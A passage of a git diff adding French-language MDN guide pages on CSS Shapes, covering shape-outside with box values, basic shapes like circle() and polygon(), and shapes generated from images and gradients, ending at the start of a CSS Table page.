+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/shape-margin.html", '100%', 800)}}</p>
+
+<h2 id="Utiliser_du_contenu_généré_comme_objet_flottant">Utiliser du contenu généré comme objet flottant</h2>
+
+<p>Dans les exemples qui précèdent, nous avons utilisé des images ou des éléments visibles afin de définir la forme. Autrement dit, la forme est visible sur la page. Il se peut également qu'on veuille que le texte suive une ligne invisible qui ne soit pas droite. On pourrait le faire avec une image ensuite rendue invisible mais on aurait alors des éléments redondants dans le document. Aussi, autant utiliser du contenu généré afin de strictement conserver la mise en forme dans la feuille CSS.</p>
+
+<p>Dans l'exemple qui suit, on utilise du contenu généré afin d'inséer un élément avec une hauteur et une largeur de 150 pixels. On peut alors ensuite utiliser les formes simples, les boîtes de référence ou le canal alpha d'une image afin de créer une forme qu'épouserait le texte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/generated-content.html", '100%', 850)}}</p>
+
+<h2 id="Relations_avec_clip-path">Relations avec <code>clip-path</code></h2>
+
+<p>Les valeurs utilisées pour les formes simples et pour les boîtes de référence sont les mêmes que celles utilisées pour la propriété {{cssxref("clip-path")}}. Ainsi, si on souhaite créer une forme à partir d'une image et rogner une partie de cette image, on pourra utiliser les mêmes valeurs.</p>
+
+<p>Ci-après, on a une image carrée avec un arrière-plan bleu. On a défini la forme avec  <code>shape-outside: ellipse(40% 50%);</code> puis utilisé <code>clip-path: ellipse(40% 50%);</code> afin de rogner l'image pour suivre la forme.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/clip-path.html", '100%', 800)}}</p>
+
+<h2 id="Outils_de_développement_pour_les_formes_CSS">Outils de développement pour les formes CSS</h2>
+
+<p>Avec la prise en charge des formes CSS, Firefox sort également une nouvelle fonctionnalités dans les outils de développement : <a href="/fr/docs/Outils/Inspecteur/Comment/Edit_CSS_shapes">l'éditeur de chemin pour les formes (<em>Shape Path Editor</em>)</a>. Cet outil permet d'inspecter les formes présentes sur la page et de modifier leurs valeurs à la volée. Si votre polygone n'a pas l'aspect escompté, vous pouvez le modifier via l'éditeur puis recopier la nouvelle valeur dans votre fichier CSS.</p>
+
+<p>L'éditeur de chemin pour les formes sera activé par défaut avec Firefox 60 pour les formes générées grâce à <code>clip-path</code>. Vous pouvez également l'utiliser afin d'éditer les formes générées grâce à <code>shape-outside</code> à condition d'avoir activé la préférence <code>layout.css.shape-outside.enabled</code>.</p>
+
+<h2 id="Les_futures_fonctionnalités">Les futures fonctionnalités</h2>
+
+<p>Dans sa version initiale, le module de spécification pour les formes contenait une propriété <code>shape-inside</code> afin de créer des formes à l'intérieur d'un élément. Cette propriété, ainsi que la possibilité de créer des formes sur des éléments non-flottants, a été repoussée à la spécification de <a href="https://drafts.csswg.org/css-shapes-2/">niveau 2</a>. La propriété <code>shape-inside</code> était initialement décrite dans la spécification de niveau 1 et vous pouvez donc trouver certains tutoriels qui détaillent ces deux propriétés.</p>
diff --git a/files/fr/web/css/css_shapes/créer_formes_boîtes/index.html b/files/fr/web/css/css_shapes/créer_formes_boîtes/index.html
new file mode 100644
index 0000000000..5ed5b06bfa
--- /dev/null
+++ b/files/fr/web/css/css_shapes/créer_formes_boîtes/index.html
@@ -0,0 +1,75 @@
+---
+title: Créer des formes à partir des boîtes
+slug: Web/CSS/CSS_Shapes/Créer_formes_boîtes
+tags:
+  - Boîtes
+  - CSS
+  - CSS Shapes
+  - Formes CSS
+  - Guide
+translation_of: Web/CSS/CSS_Shapes/From_box_values
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Une méthode permettant de créer des formes consiste à utiliser les valeurs provenant du modèle de boîte CSS. Dans cet article, nous verrons comment les utiliser.</p>
+
+<p>Les <a href="https://drafts.csswg.org/css-shapes-1/#shapes-from-box-values">valeurs de boîte</a> qui sont autorisées pour les formes sont :</p>
+
+<ul>
+ <li><code>content-box</code></li>
+ <li><code>padding-box</code></li>
+ <li><code>border-box</code></li>
+ <li><code>margin-box</code></li>
+</ul>
+
+<p>Les valeurs <code>border-radius</code> sont également prises en charge et on peut donc avoir une forme qui possède une bordure arrondie.</p>
+
+<h2 id="Le_modèle_de_boîte_CSS">Le modèle de boîte CSS</h2>
+
+<p>Les valeurs énumérées ci-avant correspondent aux différentes boîtes du modèle de boîte CSS. En CSS, une boîte possède un contenu (<em>content</em>), du remplissage (<em>padding</em>), une bordure (<em>border</em>) ainsi qu'une marge (<em>margin</em>).</p>
+
+<p><img alt="The Box Model consists of the margin, border, padding and content boxes." src="https://mdn.mozillademos.org/files/15845/box-model.png" style="height: 267px; width: 447px;"></p>
+
+<p>En utilisant une de ces valeurs, il est possible de suivre le contour d'une de ces zones. Dans les exemples qui suivent, on utilise un élément qui possède du remplissage, une bordure et une marge afin d'observer l'impact de ces différentes valeurs pour la définition d'une forme et le comportement du contenu alentour.</p>
+
+<h3 id="margin-box"><code>margin-box</code></h3>
+
+<p>La valeur <code>margin-box</code> correspond à la forme de la boîte de marge et suit le bord extérieur de la marge en prenant en compte les coins arrondis de la forme si {{cssxref("border-radius")}} a été utilisé sur l'élément.</p>
+
+<p>Dans l'exemple suivant, on a un élément circulaire mauve qui est un élément {{htmlelement("div")}} avec une hauteur, une largeur et une couleur d'arrière-plan. La propriété <code>border-radius</code> a été utilisée afin de créer le cercle avec <code>border-radius: 50%</code>. L'élément ayant une marge, on peut voir le contenu évoluer autour de cette forme circulaire en prenant la marge en compte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/box/margin-box.html", '100%', 800)}}</p>
+
+<h3 id="border-box"><code>border-box</code></h3>
+
+<p>La valeur <code>border-box</code> correspond à la forme définie par le bord extérieur de la bordure. La forme épouse la bordure et les éventuels arrondis qui lui sont appliqués. Un élément possède toujours une bordure même si {{cssxref("border")}} n'a pas explicitement été utilisé. Si c'est le cas, <code>border-box</code> sera équivalent à <code>padding-box</code> et la forme suivra le bord extérieur de la boîte de remplissage.</p>
+
+<p>Avec l'exemple qui suit, on peut voir que le texte suit désormais les lignes créées par la bordure. Vous pouvez modifier la taille de cette bordure pour voir le déplacement du contenu autour.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/box/border-box.html", '100%', 800)}}</p>
+
+<h3 id="padding-box"><code>padding-box</code></h3>
+
+<p>La valeur <code>padding-box</code> correspond à la forme définie par le bord extérieur de la boîte de remplissage (<em>padding</em>). La forme suit les règles d'arrondies appliquées à la bordure. Si aucun remplissage n'est appliqué, <code>padding-box</code> sera équivalent à <code>content-box</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/box/padding-box.html", '100%', 800)}}</p>
+
+<h3 id="content-box"><code>content-box</code></h3>
+
+<p>La valeur <code>content-box</code> correspond à la forme définie par le bord extérieur de la boîte de contenu. Chaque coin possède un rayon de courbure qui est le maximum entre <code>0</code> et <code>border-radius − border-width − padding</code>. Cela signifie qu'il est impossible d'avoir une valeur négative pour cette boîte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/box/content-box.html", '100%', 800)}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour en savoir plus sur le modèle de boîte CSS, voir <a href="/fr/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">cet article</a>.</p>
+</div>
+
+<h2 id="Quand_utiliser_les_valeurs_de_boîte">Quand utiliser les valeurs de boîte</h2>
+
+<p>Les valeurs correspondant aux boîtes permettent de créer des formes simplement. Toutefois, cela ne fonctionne que pour des formes simples, définies en partie avec la propriété <code>border-radius</code>. Les exemples ci-avant montrent un tel cas d'utilisation (on crée une forme circulaire grâce à cette propriété).</p>
+
+<p>Malgré cela, il est possible de créer des effets intéressants en n'utilisant que cette technique. Pour ce dernier exemple, on a deux éléments qui flottent à droite et à gauche et on leur affecte une valeur <code>border-radius</code> de 100% dans la direction la plus proche du texte.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/box/bottom-margin-box.html", '100%', 800)}}</p>
+
+<p>Pour obtenir des formes plus complexes, il faudra utiliser les valeurs de <a href="/fr/docs/Web/CSS/CSS_Shapes/Formes_simples">type <code>&lt;basic-shape&gt;</code> (les formes simples)</a> ou <a href="/fr/docs/Web/CSS/CSS_Shapes/Générer_formes_images">définir une forme à partir d'une image</a>, tel que nous le verrons dans les autres guides de cette section.</p>
diff --git a/files/fr/web/css/css_shapes/formes_simples/index.html b/files/fr/web/css/css_shapes/formes_simples/index.html
new file mode 100644
index 0000000000..e1c594bce0
--- /dev/null
+++ b/files/fr/web/css/css_shapes/formes_simples/index.html
@@ -0,0 +1,149 @@
+---
+title: Formes simples
+slug: Web/CSS/CSS_Shapes/Formes_simples
+tags:
+  - CSS
+  - CSS Shapes
+  - Guide
+translation_of: Web/CSS/CSS_Shapes/Basic_Shapes
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Les formes CSS peuvent être définies grâce au type {{cssxref("&lt;basic-shape&gt;")}}. Dans ce guide, nous verrons les différentes valeurs utilisables avec ce type et leur fonctionnement. Ces formes peuvent par exemple décrire des cercles simples voire des polygones complexes.</p>
+
+<p>Avant d'étudier ces formes dans le détail, attardons nous sur deux notions qui permettent de construire les formes :</p>
+
+<ul>
+ <li>Le type de donnée <code>&lt;basic-shape&gt;</code></li>
+ <li>La boîte de référence</li>
+</ul>
+
+<h2 id="Le_type_&lt;basic-shape>">Le type <code>&lt;basic-shape&gt;</code></h2>
+
+<p>Le type de donnée <code>&lt;basic-shape&gt;</code> fournit les valeurs que nous utiliserons ici pour toutes les formes simples. Ce type utilise une notation fonctionnelle : le type de forme souhaité est suivi de parenthèses au sein desquelles on ajoute différentes valeurs pour décrire la forme finale.</p>
+
+<p>Les arguments de ces fonctions varient selon la forme qu'on veut créer et nous allons voir ces arguments dans les exemples ci-après.</p>
+
+<h2 id="La_boîte_de_référence">La boîte de référence</h2>
+
+<p>La boîte de référence définit le système de coordonnées de chaque forme. Nous avons déjà abordé cette boîte <a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">dans le guide sur la création de formes à partir des boîtes</a> où nous avons directement utilisé la boîte de référence afin de créer une forme.</p>
+
+<p>L'inspecteur des formes CSS de Firefox affiche la boîte de référence lorsqu'on inspecte une forme. Dans la capture d'écran suivante, on a créé un cercle avec <code>shape-outside: circle(50%)</code>, l'élément flottant possède 20 pixels de remplissage avec la bordure et la marge. On voit que l'inspecteur affiche ces boîtes de référence. Lorsqu'on utilise une forme basique, la boîte de référence utilisée par défaut est la boîte des marges. Dans la capture d'écran, on voit que la forme est définie relativement aux boîtes du <a href="/fr/docs/Web/CSS/Mod%C3%A8le_de_bo%C3%AEte_CSS">modèle de boîtes</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15904/shapes-reference-box.png" style="height: 840px; width: 1536px;"></p>
+
+<p>La boîte de référence qu'on veut utiliser peut être ajoutée après la définition de la forme simple. Autrement dit, le comportement obtenu par défaut est équivalent à l'écriture de .</p>
+
+<pre class="brush: css">.shape {
+  shape-outside: circle(50%) margin-box;
+}
+</pre>
+
+<p>On peut changer ce paramètre si la forme utilise une autre boîte du modèle de boîte. Par exemple, si on souhaite utilise la boîte de bordure, on pourra écrire :</p>
+
+<pre class="brush: css">.shape {
+  shape-outside: circle(50%) border-box;
+}
+</pre>
+
+<p>On notera que la boîte <code>margin-box</code> pourra rogner la forme et que les formes créées relativement aux autres formes et qui dépassent la boîte de marge seront rognées pour être inscrites dans la boîte de marge. Nous verrons ce comportement dans les exemples suivants.</p>
+
+<p>Pour une description des boîtes et de leurs relations avec les formes CSS, voir <a href="http://razvancaliman.com/writing/css-shapes-reference-boxes/">Comprendre les liens entre les boîtes de référence et les formes CSS</a>.</p>
+
+<h2 id="inset()"><code>inset()</code></h2>
+
+<p>Le type <code>inset()</code> définit un rectangle. Cela peut sembler peu utile car c'est déjà la forme d'une boîte normale. Toutefois, avec <code>inset()</code>, on peut inclure des décalages et déplacer la forme autour de la boîte de référence.</p>
+
+<p><code>inset()</code> prend comme arguments quatre valeurs pour les quatres côtés : haut, droit, bas, gauche puis une dernière pour <code>border-radius</code>. Le fragment de code CSS suivant permet de créér une forme rectangulaire décalée depuis la boîte de référence (20 pixels du haut et du bas, 10 pixels de la gauche et de la droite) et pour laquelle <code>border-radius</code> vaut 10 pixels.</p>
+
+<pre class="brush: css">.shape {
+  float: left;
+  shape-outside: inset(20px 10px 20px 10px round 10px);
+}
+</pre>
+
+<p>Utilisant les mêmes règles vues pour la version raccourcie de la marge (cf. {{cssxref("margin")}}), on peut indiquer plusieurs décalages de façon synthétique :</p>
+
+<ul>
+ <li>Lorsqu'une seule valeur est fournie, elle est utilisée pour tous les côtés.</li>
+ <li>Lorsque deux valeurs sont fournies, la première correspond aux décalages haut et bas et la deuxième correspond aux décalages gauche et droit</li>
+ <li>Lorsque trois valeurs sont fournies, la première correspond au décalage haut, la deuxième aux décalages droit et gauche et la dernière au décalage bas.</li>
+ <li>Avec quatre valeurs, les décalages suivent l'ordre trigonométrique : haut, droit, bas, gauche.</li>
+</ul>
+
+<p>Ainsi, la règle écrite ci-avant peut-être formulée :</p>
+
+<pre class="brush: css">.shape {
+  float: left;
+  shape-outside: inset(20px 10px round 10px);
+}</pre>
+
+<p>Dans l'exemple qui suit, on a une forme <code>inset()</code> qu'on décale au-delà de l'élément flottant. Vous pouvez éditer l'exemple afin d'observer l'effet des différentes valeurs de décalages.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset.html", '100%', 800)}}</p>
+
+<p>Vous pouvez également ajouter une valeur pour la boîte de référence. Dans l'exemple suivant, vous pouvez modifier <code>margin-box</code> afin d'utiliser <code>border-box</code>, <code>padding-box</code> ou <code>content-box</code> pour observer la façon dont la boîte de référence modifie l'origine des coordonnées utilisées pour les décalages.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/inset-box.html", '100%', 800)}}</p>
+
+<h2 id="circle()"><code>circle()</code></h2>
+
+<p>La valeur <code>circle()</code> peut être utilisée pour <code>shape-outside</code> et prend jusqu'à deux argument. Le premier de ces arguments correspond à <code>shape-radius</code>.</p>
+
+<p>La fonction <code>circle()</code> et la fonction <code>ellipse()</code>, pour <code>shape-outside</code>, peuvent utiliser cet argument <code>&lt;shape-radius&gt;</code>. Ce dernier peut être une longueur ou un pourcentage mais également l'un des mots-clés <code>closest-side</code> ou <code>farthest-side</code>.</p>
+
+<p>Le mot-clé <code><strong>closest-side</strong></code> utilise la longueur depuis le centre de la forme jusqu'au côté le plus proche de la boîte de référence. Pour les cercles, c'est le côté le plus proche dans n'importe quelle dimension. Pour les ellipses, c'est le côté le plus proche selon l'axe du rayon de l'ellipse.</p>
+
+<p>Le mot-clé <code><strong>farthest-side</strong></code> utilise la longueur depuis le centre de la forme jusqu'au côté le plus éloigné de la boîte de référence. Pour les cercles, c'est le côté le plus éloigné, quelle que soit la dimension. Pour les ellipses, c'est le côté le plus éloigné selon l'axe du rayon.</p>
+
+<p>Le deuxième argument est une <code>position</code> dont la valeur par défaut est <code>center</code>. Toutefois, n'importe quelle position valide peut être utilisée afin d'indiquer le centre du cercle.</p>
+
+<p>Pour résumer, le cercle accepte un rayon qui peut être une longueur, un pourcentage ou le mot-clé <code>closest-side</code> ou <code>farthest-side</code>, optionnellement suivi par le mot-clé <code>at</code> suivi par une position.</p>
+
+<p>Dans l'exemple qui suit, on crée un cercle sur un objet de 100 pixels de large avec une marge de 20 pixels. On a donc une largeur totale de la boîte de référence de 140 pixels. On indique une valeur de 50% pour <code>shape-radius</code>, ce qui crée donc un cercle de 70 pixels de rayon avec une position fixée à 30%.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle.html", '100%', 800)}}</p>
+
+<p>Dans cet exemple, vous pouvez augmenter ou réduire le rayon pour adapter la taille du cercle ou déplacer le cercle via la position. Vous pouvez aussi modifier la boîte de référence.</p>
+
+<p>Ajoutons un autre exemple, en utilisant les mots-clés <code>top left</code> pour indiquer la position, on peut créer une forme en quart de cercle pour le coin supérieur gauche de la page. L'exemple qui suit illustre comment créer un quart de cercle avec du texte qui est écrit autour.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/circle-generated.html", '100%', 700)}}</p>
+
+<h3 id="Limitation_à_la_boîte_de_marge">Limitation à la boîte de marge</h3>
+
+<p>Lorsqu'on a décrit les boîtes de référence ci-avant, on a vu que la boîte de marge pourra rogner la forme. Pour observer cet effet, on peut déplacer le centre du cercle vers le contenu en utilisant la valeur 60% pour la position. Le centre du cercle est alors plus près du contenu et la forme du cercle pourrait dépasser la boîte de marge. La forme est donc rognée et on voit alors un aplat.</p>
+
+<pre class="brush: css"><code>img {
+  float: left;
+  shape-outside: circle(50% at 60%);
+}
+</code></pre>
+
+<p><img alt="The circle shape is clipped by the margin box" src="https://mdn.mozillademos.org/files/15903/shapes-circle-clipped.png" style="height: 602px; width: 1536px;"></p>
+
+<h2 id="ellipse()"><code>ellipse()</code></h2>
+
+<p>Une ellipse peut être vue comme un cercle aplati. De ce point de vu <code>ellipse()</code> fonctionne de façon analogue à <code>circle()</code> mais il est nécessaire d'indiquer deux rayons : un rayon horizontal <code>x</code> et un rayon vertical <code>y</code> (dans cet ordre).</p>
+
+<p>Ces rayons peuvent être suivis par une position qui permet, comme avec <code>circle()</code>, de déplacer le centre de l'ellipse. Dans l'exemple qui suit, on dessine une ellipse avec un rayon horizontal de 40%, un rayon vertical de 50% et une position à gauche. Cela signifie que le centre de l'ellipse sera situé sur le bord gauche et on aura donc une demi-ellipse autour de laquelle s'écoulera le texte. N'hésitez pas à modifier ces valeurs pour voir l'impact sur l'exemple.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse.html", '100%', 800)}}</p>
+
+<p>Les mots-clés <code>closest-side</code> et <code>farthest-side</code> permettent de créer rapidmeent une ellipse en fonction de la taille de la boîte de référence de l'élément flottant.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/ellipse-keywords.html", '100%', 800)}}</p>
+
+<h2 id="polygon()"><code>polygon()</code></h2>
+
+<p>La forme simple qui permet de créer une grande variété de formes est <code>polygon()</code>. Cette forme prend comme arguments trois ou plusieurs paires de valeurs qui correspondent aux coordonnées dessinées dans la boîte de référence. Attention, les coordonnées doivent au moins former un triangle.</p>
+
+<p>Dans l'exemple qui suit, on crée une forme avec <code>polygon()</code> pour que le texte s'écoule autour. N'hésitez pas à modifier les valeurs pour visualiser les impacts.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/basic-shape/polygon.html", '100%', 800)}}</p>
+
+<p>L'inspecteur de formes Firefox s'avère très utile pour créer une forme de polygone. La capture d'écran qui suit illustre la forme dessinée dans l'outil.</p>
+
+<p><img alt="The polygon basic shape, highlighted with the Shapes Inspector." src="https://mdn.mozillademos.org/files/15902/shapes-polygon.png" style="height: 540px; width: 1524px;"></p>
+
+<p>Une autre ressource qui peut s'avérer utile sur ces sujets est <a href="http://bennettfeely.com/clippy/">Clippy</a> : cet outil permet de créer des formes pour <code>clip-path</code>. Or, les formes utilisées pour <code>clip-path</code> sont les mêmes que pour les formes simples.</p>
diff --git a/files/fr/web/css/css_shapes/générer_formes_images/index.html b/files/fr/web/css/css_shapes/générer_formes_images/index.html
new file mode 100644
index 0000000000..e85db873c1
--- /dev/null
+++ b/files/fr/web/css/css_shapes/générer_formes_images/index.html
@@ -0,0 +1,64 @@
+---
+title: Générer des formes avec des images
+slug: Web/CSS/CSS_Shapes/Générer_formes_images
+tags:
+  - CSS
+  - Formes CSS
+  - Guide
+translation_of: Web/CSS/CSS_Shapes/Shapes_From_Images
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary">Dans ce guide, nous allons voir comment créer une forme à partir d'une image, que ce soit un fichier avec un canal alpha ou un dégradé CSS. Grâce aux images, on peut suivre une forme complexe sans avoir à dessiner de polygone. On peut créer la forme à partir d'un éditeur graphique et utiliser le contour de cette image formé par la ligne des pixels moins opaques qu'un seuil donné.</p>
+
+<h2 id="Générer_une_forme_simple_avec_une_image">Générer une forme simple avec une image</h2>
+
+<p>Pour utiliser une image afin de créer une forme, il est nécessaire que cette image dispose d'un canal alpha, c'est-à-dire une zone qui n'est pas complètement opaque. La propriété {{cssxref("shape-image-threshold")}} est utilisée afin de fournir un seuil d'opacité. Les pixels qui sont plus opaques que cette valeur seront alors utilisés pour calculer la zone de la forme.</p>
+
+<p>Dans l'exemple suivant, on utilise un image avec une étoile rouge complètement opaque entourée d'une zone complètement transparente. On fournit le chemin de l'image à {{cssxref("shape-outside")}} et le contenu environnant épouse alors la forme de l'image.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/simple-example.html", '100%', 800)}}</p>
+
+<p>On peut utiliser {{cssxref("shape-margin")}} afin d'écarter le texte de la forme avec une certaine marge.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/margin.html", '100%', 800)}}</p>
+
+<h2 id="Origines_et_compatibilité_CORS">Origines et compatibilité CORS</h2>
+
+<p>Attention, les images utilisées pour créer les formes doivent <a href="/fr/docs/Web/HTTP/CORS">être compatibles pour le CORS</a>. Une image hébergée sur le même domaine que le site devrait fonctionner. En revanche, si les images sont hébergées sur un domaine différent (celui d'un CDN par exemple), il faudra s'assurer que les bons en-têtes HTTP sont fournis afin de construire des images. À cause de ce prérequis, si vous testez un site en local avec vos fichiers, les formes CSS à partir d'images ne fonctionneront pas si vous ne mettez pas en place de serveur web local.</p>
+
+<h3 id="Ai-je_à_faire_à_un_problème_de_CORS">Ai-je à faire à un problème de CORS ?</h3>
+
+<p>Les outils de développement aident à déterminer si le problème vient du CORS. Dans Chrome, les problèmes CORS seront écrits dans la console. Dans Firefox, si vous inspectez la propriété en question, vous verrez une alerte indiquant que l'image ne peut pas être chargée. Dans ce cas, il est probable que l'image ne puisse être utilisée comme forme à cause du CORS.</p>
+
+<h2 id="Utiliser_un_seuil">Utiliser un seuil</h2>
+
+<p>La propriété {{cssxref("shape-image-threshold")}} permet de créer des formes à partir d'une image en utilisant des zones qui ne sont pas totalement transparentes. Si <code>shape-image-threshold</code> vaut <code>0.0</code> (qui correspond à la valeur initiale), ce ne sont que les zones totalement transparentes qui seront utilisées pour fabriquer la forme. Si la valeur <code>1.0</code> est utilisée, le seuil correspondra aux zones totalement opaques et toute l'image seront alors utilisée. Les valeurs intermédiaires permettent d'utiliser des zones partiellement transparentes afin de construire la forme.</p>
+
+<p>Dans l'exemple qui suit, on utilise une image semblable à celle du premier exemple. Toutefois, pour cette image, l'arrière-plan de l'étoile n'est pas totalement transparent : il a une opacité de 20% (créée avec un éditeur graphique). Si on utilise <code>shape-image-threshold</code> avec la valeur <code>0.3</code>, on aura donc la forme de l'étoile mais si on utilise une valeur inférieure à <code>0.2</code>, on aura une forme rectangulaire.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/threshold.html", '100%', 800)}}</p>
+
+<h2 id="Utiliser_des_images_avec_du_contenu_généré">Utiliser des images avec du contenu généré</h2>
+
+<p>Dans l'exemple ci-avant, on utilise une image pour {{cssxref("shape-outside")}} et on utilise également cette image dans le document. La plupart des exemples et démos utilisent ce procéder car cela aide à illustrer la forme suivie par le texte environnant. Cependant, il faut comprendre que la propriété <code>shape-outside</code> ne repose pas sur l'image utilisée dans le document et qu'il n'est pas nécessaire d'afficher une image dans le document afin de construire une forme à partir d'une image.</p>
+
+<p>Il est nécessaire d'avoir un contenu flottant pour créer une forme mais ce contenu peut tout à fait être généré grâce à la feuille de style. Dans l'exemple qui suit, on utilise un contenu généré qui est placé dans une disposition flottante, avec une image d'étoile pour créer la forme mais cette image n'est pas affichée sur la page.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/generated-content.html", '100%', 800)}}</p>
+
+<h2 id="Créer_des_formes_avec_un_dégradé">Créer des formes avec un dégradé</h2>
+
+<p>En CSS, <a href="/fr/docs/Web/CSS/Utilisation_de_dégradés_CSS">un dégradé</a> est une image. On peut donc utiliser un dégradé afin de générer une forme.</p>
+
+<p>Dans le prochain exemple, on utilise un contenu généré flottant dont l'image d'arrière-plan est un dégradé linéaire. On utilise la même valeur pour {{cssxref("shape-outside")}}. Le dégradé linéaire évolue du mauve vers le transparent. En modifiant la valeur de {{cssxref("shape-image-threshold")}}, on peut donc sélectionner le niveau de transparence nécessaire à la création de la forme. N'hésitez pas à modifier la valeur du seuil dans l'exemple suivant afin de voir le déplacement du contour en fonction du niveau de dégradé.</p>
+
+<p>Vous pouvez également essayer de complètement retirer l'image d'arrière-plan afin d'utiliser uniquement le dégradé afin de créer la forme et ne pas l'afficher sur l'image.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/gradient.html", '100%', 800)}}</p>
+
+<p>Dans l'exemple qui suit, on utilise un dégradé radial avec une ellipse et on utilise les zones transparentes du dégradé afin de créer la forme.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/image/radial-gradient.html", '100%', 800)}}</p>
+
+<p>Vous pouvez éditer ces exemples interactifs afin de voir l'évolution de la forme en fonction des modifications.</p>
diff --git a/files/fr/web/css/css_shapes/index.html b/files/fr/web/css/css_shapes/index.html
new file mode 100644
index 0000000000..485385aa10
--- /dev/null
+++ b/files/fr/web/css/css_shapes/index.html
@@ -0,0 +1,80 @@
+---
+title: CSS Shapes
+slug: Web/CSS/CSS_Shapes
+tags:
+  - Aperçu
+  - CSS
+  - CSS Shapes
+  - Reference
+translation_of: Web/CSS/CSS_Shapes
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Shapes</strong></em> est un module de spécification CSS qui décrit les formes géométriques. <a href="https://drafts.csswg.org/css-shapes/">Selon le niveau 1 de cette spécification</a>, les formes CSS peuvent être appliquées aux éléments flottants. Cette spécification définit différentes façon permettant de définir la forme d'un élément flottant afin que les lignes « coulent » autour de la forme plutôt qu'autour du rectangle formé par la boîte de l'élément.</p>
+
+<h2 id="Basic_Example" name="Basic_Example">Exemple simple</h2>
+
+<p>Dans l'exemple qui suit, on a une image qui flotte à gauche et la propriété <code>shape-outside</code> qui lui est appliquée vaut <code>circle(50%)</code>. Ceci crée une forme circulaire autour de laquelle le contenu peut s'inscrire. Les boîtes des lignes pour le texte qui entourent l'image sont donc modifiées.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/shapes/overview/circle.html", '100%', 720)}}</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("shape-image-threshold")}}</li>
+ <li>{{cssxref("shape-margin")}}</li>
+ <li>{{cssxref("shape-outside")}}</li>
+</ul>
+</div>
+
+<h3 id="Types_de_donnée">Types de donnée</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;basic-shape&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Overview_of_CSS_Shapes">Un aperçu des formes CSS (<em>CSS Shapes</em>)</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Shapes_From_Box_Values">Les formes appliquées aux différentes boîtes</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Basic_Shapes">Des formes simples</a></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Des formes à partir d'images</a></li>
+ <li><a href="/fr/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Éditer les contours d'une forme en CSS dans Firefox </a></li>
+</ul>
+
+<h2 id="Ressources_externes">Ressources externes</h2>
+
+<ul>
+ <li><a href="https://codepen.io/KristopherVanSant/post/css-shapes-resources">Une liste de ressources sur les formes CSS (en anglais)</a></li>
+ <li><a href="https://alistapart.com/article/css-shapes-101"><em>CSS Shapes 101</em> (en anglais)</a></li>
+ <li><a href="https://www.sarasoueidan.com/blog/css-shapes/">Creating non-rectangular layouts with CSS Shapes (en anglais)</a></li>
+ <li><a href="https://webdesign.tutsplus.com/tutorials/how-to-use-css-shapes-in-your-web-design--cms-27498"><em>How To Use CSS Shapes In Your Web Design</em> (en anglais)</a></li>
+ <li><a href="https://www.webdesignerdepot.com/2015/03/how-to-get-started-with-css-shapes/"><em>How To Get Started With CSS Shapes</em> (en anglais)</a></li>
+ <li><a href="https://medium.com/@MHarreither/what-i-learned-in-one-weekend-with-css-shapes-66ae9be69cc5"><em>What I Learned In One Weekend With CSS Shapes</em> (en anglais)</a></li>
+ <li><a href="https://theblog.adobe.com/css-vs-svg-shapes-and-arbitrarily-shaped-ui-components/"><em>CSS vs. SVG: Shapes and Arbitrarily-Shaped UI Components</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Shapes")}}</td>
+   <td>{{Spec2("CSS Shapes")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_table/index.html b/files/fr/web/css/css_table/index.html
new file mode 100644
index 0000000000..928231d528
--- /dev/null
+++ b/files/fr/web/css/css_table/index.html
@@ -0,0 +1,46 @@
+---
+title: CSS Table
+slug: Web/CSS/CSS_Table
+tags:
+  - Aperçu
+  - CSS
+  - Reference
+translation_of: Web/CSS/CSS_Table
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Table</strong></em> (ou module des tableaux CSS) est un module CSS qui définit comment disposer les données de tableaux.</p>
+
